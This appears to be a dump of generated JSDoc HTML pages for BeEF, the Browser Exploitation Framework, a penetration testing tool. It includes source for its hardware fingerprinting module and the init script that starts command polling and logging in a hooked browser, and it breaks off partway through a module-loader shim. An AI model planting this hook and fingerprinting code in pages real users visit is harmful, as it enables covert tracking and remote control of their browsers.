    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Global</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Global</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2></h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Members</h3>\n\n        \n            \n<h4 class=\"name\" id=\"platform\"><span class=\"type-signature\"></span>platform<span class=\"type-signature\"> :Object</span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>The platform object.</p>\n</div>\n\n\n\n    <h5>Type:</h5>\n    <ul>\n        <li>\n            \n<span class=\"param-type\">Object</span>\n\n\n        </li>\n    </ul>\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line1075\">line 1075</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/hardware.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: hardware.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: hardware.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * @namespace beef.hardware\n */\n\nbeef.hardware = {\n\n  ua: navigator.userAgent,\n\n  /**\n   * @return {String} CPU type\n   */\n  getCpuArch: function() {\n    var arch = 'UNKNOWN';\n    // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested\n    // in detecting the OS arch rather than the browser build\n    if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == \"win64\"){\n      arch = 'x86_64';\n    }else if(typeof navigator.cpuClass != 'undefined'){\n      switch (navigator.cpuClass) {\n        case '68K':\n          arch = 'Motorola 68K';\n          break;\n        case 'PPC':\n          arch = 'Motorola PPC';\n          break;\n        case 'Digital':\n          arch = 'Alpha';\n          break;\n        default:\n          arch = 'x86';\n      }\n    }\n    // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).\n    // For example, if OSX is at least 10.7, most certainly is 64 bit.\n    return arch;\n  },\n\n  /**\n   * Returns number of CPU cores\n   * @return {String}\n   */\n  getCpuCores: function() {\n    var cores = 'unknown';\n    try {\n      if(typeof navigator.hardwareConcurrency != 'undefined') {\n        cores = navigator.hardwareConcurrency;\n      }\n    } catch(e) {\n      cores = 'unknown';\n    }\n    return cores;\n  },\n\n  /**\n   * Returns CPU details\n   * @return {String}\n   */\n  getCpuDetails: function() {\n    return {\n      arch: beef.hardware.getCpuArch(),\n      cores: beef.hardware.getCpuCores()\n    }\n  },\n\n  /**\n   * Returns GPU details\n   * @return {object}\n   */\n  getGpuDetails: function() {\n    var gpu = 'unknown';\n    var vendor = 'unknown';\n    // use canvas technique:\n    // https://github.com/Valve/fingerprintjs2\n    // http://codeflow.org/entries/2016/feb/10/webgl_debug_renderer_info-extension-survey-results/\n    try {\n      var getWebglCanvas = function () {\n        var canvas = document.createElement('canvas')\n        var gl = null\n        try {\n          gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl')\n        } catch (e) { }\n        if (!gl) { gl = null }\n        return gl;\n      }\n\n      var glContext = getWebglCanvas();\n      var extensionDebugRendererInfo = glContext.getExtension('WEBGL_debug_renderer_info');\n      var gpu = glContext.getParameter(extensionDebugRendererInfo.UNMASKED_RENDERER_WEBGL);\n      var vendor = glContext.getParameter(extensionDebugRendererInfo.UNMASKED_VENDOR_WEBGL);\n      beef.debug(\"GPU: \" + gpu + \" - Vendor: \" + vendor);\n    } catch (e) {\n      beef.debug('Failed to detect WebGL renderer: ' + e.toString());\n    }\n    return {\n      gpu: gpu,\n      vendor: vendor\n    }\n  },\n\n  /**\n   * Returns RAM (GiB)\n   * @return {String}\n   */\n  getMemory: function() {\n    var memory = 'unknown';\n    try {\n      if(typeof navigator.deviceMemory != 'undefined') {\n        memory = navigator.deviceMemory;\n      }\n    } catch(e) {\n      memory = 'unknown';\n    }\n    return memory;\n  },\n\n  /**\n   * Returns battery details\n   * @return {Object}\n   */\n  getBatteryDetails: function() {\n    var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;\n\n    if (!!battery) {\n      return {\n        chargingStatus: battery.charging,\n        batteryLevel: battery.level * 100 + \"%\",\n        chargingTime: battery.chargingTime,\n        dischargingTime: battery.dischargingTime\n      }\n    } else {\n      return {\n        chargingStatus: 'unknown',\n        batteryLevel: 'unknown',\n        chargingTime: 'unknown',\n        dischargingTime: 'unknown'\n      }\n    }\n  },\n\n  /**\n   * Returns zombie screen size and color depth.\n   * @return {Object}\n   */\n  getScreenSize: function () {\n    return {\n      width: window.screen.width,\n      height: window.screen.height,\n      colordepth: window.screen.colorDepth\n    }\n  },\n\n  /**\n   * Is touch enabled?\n   * @return {Boolean} true or false.\n   */\n  isTouchEnabled: function() {\n    if ('ontouchstart' in document) return true;\n    return false;\n  },\n\n  /**\n   * Is virtual machine?\n   * @return {Boolean} true or false.\n   */\n  isVirtualMachine: function() {\n    if (this.getGpuDetails().vendor.match('VMware, Inc'))\n      return true;\n\n    if (this.isMobileDevice())\n      return false;\n\n    // if the screen resolution is uneven, and it's not a known mobile device\n    // then it's probably a VM\n    if (screen.width % 2 || screen.height % 2)\n      return true;\n\n    return false;\n  },\n\n  /**\n   * Is a Laptop?\n   * @return {Boolean} true or false.\n   */\n  isLaptop: function() {\n    if (this.isMobileDevice()) return false;\n    // Most common laptop screen resolution\n    if (screen.width == 1366 &amp;&amp; screen.height == 768) return true;\n    // Netbooks\n    if (screen.width == 1024 &amp;&amp; screen.height == 600) return true;\n    return false;\n  },\n\n  /**\n   * Is Nokia?\n   * @return {Boolean} true or false.\n   */\n  isNokia: function() {\n    return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;\n  },\n\n  /**\n   * Is Zune?\n   * @return {Boolean} true or false.\n   */\n  isZune: function() {\n    return (this.ua.match('ZuneWP7')) ? true : false;\n  },\n\n  /**\n   * Is HTC?\n   * @return {Boolean} true or false.\n   */\n  isHtc: function() {\n    return (this.ua.match('HTC')) ? true : false;\n  },\n\n  /**\n   * Is Ericsson?\n   * @return {Boolean} true or false.\n   */\n  isEricsson: function() {\n    return (this.ua.match('Ericsson')) ? true : false;\n  },\n\n  /**\n   * Is Motorola?\n   * @return {Boolean} true or false.\n   */\n  isMotorola: function() {\n    return (this.ua.match('Motorola')) ? true : false;\n  },\n\n  /**\n   * Is Google?\n   * @return {Boolean} true or false.\n   */\n  isGoogle: function() {\n    return (this.ua.match('Nexus One')) ? true : false;\n  },\n\n  /**\n   * Returns true if the browser is on a Mobile device\n   * @return {Boolean} true or false\n   *\n   * @example: if(beef.hardware.isMobileDevice()) { ... }\n   */\n  isMobileDevice: function() {\n    return MobileEsp.DetectMobileQuick();\n  },\n\n  /**\n   * Returns true if the browser is on a game console\n   * @return {Boolean} true or false\n   *\n   * @example: if(beef.hardware.isGameConsole()) { ... }\n   */\n  isGameConsole: function() {\n    return MobileEsp.DetectGameConsole();\n  },\n\n  getName: function() {\n    var ua = navigator.userAgent.toLowerCase();\n    if(MobileEsp.DetectIphone())              { return \"iPhone\"};\n    if(MobileEsp.DetectIpod())                { return \"iPod Touch\"};\n    if(MobileEsp.DetectIpad())                { return \"iPad\"};\n    if (this.isHtc())               { return 'HTC'};\n    if (this.isMotorola())          { return 'Motorola'};\n    if (this.isZune())              { return 'Zune'};\n    if (this.isGoogle())            { return 'Google Nexus One'};\n    if (this.isEricsson())          { return 'Ericsson'};\n    if(MobileEsp.DetectAndroidPhone())        { return \"Android Phone\"};\n    if(MobileEsp.DetectAndroidTablet())       { return \"Android Tablet\"};\n    if(MobileEsp.DetectS60OssBrowser())       { return \"Nokia S60 Open Source\"};\n    if(ua.search(MobileEsp.deviceS60) > -1)   { return \"Nokia S60\"};\n    if(ua.search(MobileEsp.deviceS70) > -1)   { return \"Nokia S70\"};\n    if(ua.search(MobileEsp.deviceS80) > -1)   { return \"Nokia S80\"};\n    if(ua.search(MobileEsp.deviceS90) > -1)   { return \"Nokia S90\"};\n    if(ua.search(MobileEsp.deviceSymbian) > -1)   { return \"Nokia Symbian\"};\n    if (this.isNokia())             { return 'Nokia'};\n    if(MobileEsp.DetectWindowsPhone7())       { return \"Windows Phone 7\"};\n    if(MobileEsp.DetectWindowsPhone8())       { return \"Windows Phone 8\"};\n    if(MobileEsp.DetectWindowsPhone10())      { return \"Windows Phone 10\"};\n    if(MobileEsp.DetectWindowsMobile())       { return \"Windows Mobile\"};\n    if(MobileEsp.DetectBlackBerryTablet())    { return \"BlackBerry Tablet\"};\n    if(MobileEsp.DetectBlackBerryWebKit())    { return \"BlackBerry OS 6\"};\n    if(MobileEsp.DetectBlackBerryTouch())     { return \"BlackBerry Touch\"};\n    if(MobileEsp.DetectBlackBerryHigh())      { return \"BlackBerry OS 5\"};\n    if(MobileEsp.DetectBlackBerry())          { return \"BlackBerry\"};\n    if(MobileEsp.DetectPalmOS())              { return \"Palm OS\"};\n    if(MobileEsp.DetectPalmWebOS())           { return \"Palm Web OS\"};\n    if(MobileEsp.DetectGarminNuvifone())      { return \"Gamin Nuvifone\"};\n    if(MobileEsp.DetectArchos())              { return \"Archos\"}\n    if(MobileEsp.DetectBrewDevice())          { return \"Brew\"};\n    if(MobileEsp.DetectDangerHiptop())        { return \"Danger Hiptop\"};\n    if(MobileEsp.DetectMaemoTablet())         { return \"Maemo Tablet\"};\n    if(MobileEsp.DetectSonyMylo())            { return \"Sony Mylo\"};\n    if(MobileEsp.DetectAmazonSilk())          { return \"Kindle Fire\"};\n    if(MobileEsp.DetectKindle())              { return \"Kindle\"};\n    if(MobileEsp.DetectSonyPlaystation())                 { return \"Playstation\"};\n    if(ua.search(MobileEsp.deviceNintendoDs) > -1)        { return \"Nintendo DS\"};\n    if(ua.search(MobileEsp.deviceWii) > -1)               { return \"Nintendo Wii\"};\n    if(ua.search(MobileEsp.deviceNintendo) > -1)          { return \"Nintendo\"};\n    if(MobileEsp.DetectXbox())                            { return \"Xbox\"};\n    if(this.isLaptop())                         { return \"Laptop\"};\n    if(this.isVirtualMachine())                 { return \"Virtual Machine\"};\n\n    return 'Unknown';\n  }\n};\n\nbeef.regCmp('beef.hardware');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Home</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Home</h1>\n\n    \n\n\n\n    \n\n\n    <h3> </h3>\n\n\n\n\n\n\n\n\n\n\n    \n\n\n\n\n    <section>\n        <article><p>===============================================================================</p>\n<pre><code>Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\nBrowser Exploitation Framework (BeEF) - https://beefproject.com\nSee the file 'doc/COPYING' for copying permission\n</code></pre>\n<p>===============================================================================</p>\n<h2>What is BeEF?</h2>\n<p><strong>BeEF</strong> is short for <strong>The Browser Exploitation Framework</strong>. It is a penetration testing tool that focuses on the web browser.</p>\n<p>Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.</p>\n<h2>Get Involved</h2>\n<p>You can get in touch with the BeEF team. Just check out the following:</p>\n<p><strong>Please, send us pull requests!</strong></p>\n<p><strong>Web:</strong> https://beefproject.com/</p>\n<p><strong>Bugs:</strong> https://github.com/beefproject/beef/issues</p>\n<p><strong>Security Bugs:</strong> security@beefproject.com</p>\n<p><strong>Twitter:</strong> <a href=\"https://twitter.com/beefproject\">@beefproject</a></p>\n<p><strong>Discord:</strong> https://discord.gg/ugmKmHarKc</p>\n<h2>Requirements</h2>\n<ul>\n<li>Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.</li>\n<li><a href=\"https://www.ruby-lang.org\">Ruby</a>: 3.0 or newer</li>\n<li><a href=\"http://sqlite.org\">SQLite</a>: 3.x</li>\n<li><a href=\"https://nodejs.org\">Node.js</a>: 10 or newer</li>\n<li>The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile</li>\n<li>Selenium is required on OSX: <code>brew install selenium-server-standalone</code> (See https://github.com/shvets/selenium)</li>\n</ul>\n<h2>Quick Start</h2>\n<p><strong>The following is for the impatient.</strong></p>\n<p>The <code>install</code> script installs the required operating system packages and all the prerequisite Ruby gems:</p>\n<pre class=\"prettyprint source\"><code>$ ./install\n</code></pre>\n<p>For full installation details, please refer to <a href=\"https://github.com/beefproject/beef/blob/master/INSTALL.txt\">INSTALL.txt</a> or the <a href=\"https://github.com/beefproject/beef/wiki/Installation\">Installation</a> page on the wiki.</p>\n<p>Upon successful installation, be sure to read the <a href=\"https://github.com/beefproject/beef/wiki/Configuration\">Configuration</a> page on the wiki for important details on configuring and securing BeEF.</p>\n<h2>Documentation</h2>\n<ul>\n<li><a href=\"https://github.com/beefproject/beef/wiki#user-guide\">User Guide</a></li>\n<li><a href=\"https://github.com/beefproject/beef/wiki/FAQ\">Frequently Asked Questions</a></li>\n<li><a href=\"https://beefproject.github.io/beef/index.html\">JSdocs</a></li>\n</ul>\n<h2>Usage</h2>\n<p>To get started, simply execute beef and follow the instructions:</p>\n<pre class=\"prettyprint source\"><code>$ ./beef\n</code></pre></article>\n    </section>\n\n\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/init.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: init.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: init.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Contains the beef_init() method which starts the BeEF client-side\n * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.\n *\n * If beef.pageIsLoaded is true, then this JS has been loaded >1 times\n * and will have a new session id. The new session id will need to know\n * the brwoser details. So sendback the browser details again.\n * \n * @namespace beef.init\n */\n\nbeef.session.get_hook_session_id();\n\nif (beef.pageIsLoaded) {\n    beef.net.browser_details();\n}\n/**\n * @memberof beef.init\n */\nwindow.onload = function () {\n    beef_init();\n};\n/**\n * @memberof beef.init\n */\nwindow.onpopstate = function (event) {\n    if (beef.onpopstate.length > 0) {\n        event.preventDefault;\n        for (var i = 0; i &lt; beef.onpopstate.length; i++) {\n            var callback = beef.onpopstate[i];\n            try {\n                callback(event);\n            } catch (e) {\n                beef.debug(\"window.onpopstate - couldn't execute callback: \" + e.message);\n            }\n            return false;\n        }\n    }\n};\n/**\n * @memberof beef.init\n */\nwindow.onclose = function (event) {\n    if (beef.onclose.length > 0) {\n        event.preventDefault;\n        for (var i = 0; i &lt; beef.onclose.length; i++) {\n            var callback = beef.onclose[i];\n            try {\n                callback(event);\n            } catch (e) {\n                beef.debug(\"window.onclose - couldn't execute callback: \" + e.message);\n            }\n            return false;\n        }\n    }\n};\n\n/**\n * Starts the polling mechanism, and initialize various components:\n *  - browser details (see browser.js) are sent back to the \"/init\" handler\n *  - the polling starts (checks for new commands, and execute them)\n *  - the logger component is initialized (see logger.js)\n *  - the Autorun Engine is initialized (see are.js)\n * @memberof beef.init\n */\nfunction beef_init() {\n    if (!beef.pageIsLoaded) {\n        beef.pageIsLoaded = true;\n        beef.net.browser_details();\n\n        if (beef.browser.hasWebSocket() &amp;&amp; typeof beef.websocket != 'undefined') {\n            setTimeout(function(){\n                beef.websocket.start();\n                beef.updater.execute_commands();\n                beef.logger.start();\n            }, parseInt(beef.websocket.ws_connect_timeout));\n        }else {\n            beef.net.browser_details();\n            beef.updater.execute_commands();\n            beef.updater.check();\n            beef.logger.start();\n        }\n    }\n}\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/lib_browser_jools.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: lib/browser_jools.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: lib/browser_jools.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>/**\n * @namespace browser_jools\n */\n\n/**\n * @memberof browser_jools\n * @param file \n * @param cwd \n */\nvar require = function (file, cwd) {\n    var resolved = require.resolve(file, cwd || '/');\n    var mod = require.modules[resolved];\n    if (!mod) throw new Error(\n        'Failed to resolve module ' + file + ', tried ' + resolved\n    );\n    var res = mod._cached ? mod._cached : mod();\n    return res;\n}\n\nrequire.paths = [];\nrequire.modules = {};\nrequire.extensions = [\".js\",\".coffee\"];\n\nrequire._core = {\n    'assert': true,\n    'events': true,\n    'fs': true,\n    'path': true,\n    'vm': true\n};\n/**\n * @memberof browser_jools\n */\nrequire.resolve = (function () {\n    return function (x, cwd) {\n        if (!cwd) cwd = '/';\n        \n        if (require._core[x]) return x;\n        var path = require.modules.path();\n        cwd = path.resolve('/', cwd);\n        var y = cwd || '/';\n        \n        if (x.match(/^(?:\\.\\.?\\/|\\/)/)) {\n            var m = loadAsFileSync(path.resolve(y, x))\n                || loadAsDirectorySync(path.resolve(y, x));\n            if (m) return m;\n        }\n        \n        var n = loadNodeModulesSync(x, y);\n        if (n) return n;\n        \n        throw new Error(\"Cannot find module '\" + x + \"'\");\n        \n        function loadAsFileSync (x) {\n            if (require.modules[x]) {\n                return x;\n            }\n            \n            for (var i = 0; i &lt; require.extensions.length; i++) {\n                var ext = require.extensions[i];\n                if (require.modules[x + ext]) return x + ext;\n            }\n        }\n        \n        function loadAsDirectorySync (x) {\n            x = x.replace(/\\/+$/, '');\n            var pkgfile = x + '/package.json';\n            if (require.modules[pkgfile]) {\n                var pkg = require.modules[pkgfile]();\n                var b = pkg.browserify;\n                if (typeof b === 'object' &amp;&amp; b.main) {\n                    var m = loadAsFileSync(path.resolve(x, b.main));\n                    if (m) return m;\n                }\n                else if (typeof b === 'string') {\n                    var m = loadAsFileSync(path.resolve(x, b));\n                    if (m) return m;\n                }\n                else if (pkg.main) {\n                    var m = loadAsFileSync(path.resolve(x, pkg.main));\n                    if (m) return m;\n                }\n            }\n            \n            return loadAsFileSync(x + '/index');\n        }\n        \n        function loadNodeModulesSync (x, start) {\n            var dirs = nodeModulesPathsSync(start);\n            for (var i = 0; i &lt; dirs.length; i++) {\n                var dir = dirs[i];\n                var m = loadAsFileSync(dir + '/' + x);\n                if (m) return m;\n                var n = loadAsDirectorySync(dir + '/' + x);\n                if (n) return n;\n            }\n            \n            var m = loadAsFileSync(x);\n            if (m) return m;\n        }\n        \n        function nodeModulesPathsSync (start) {\n            var parts;\n            if (start === '/') parts = [ '' 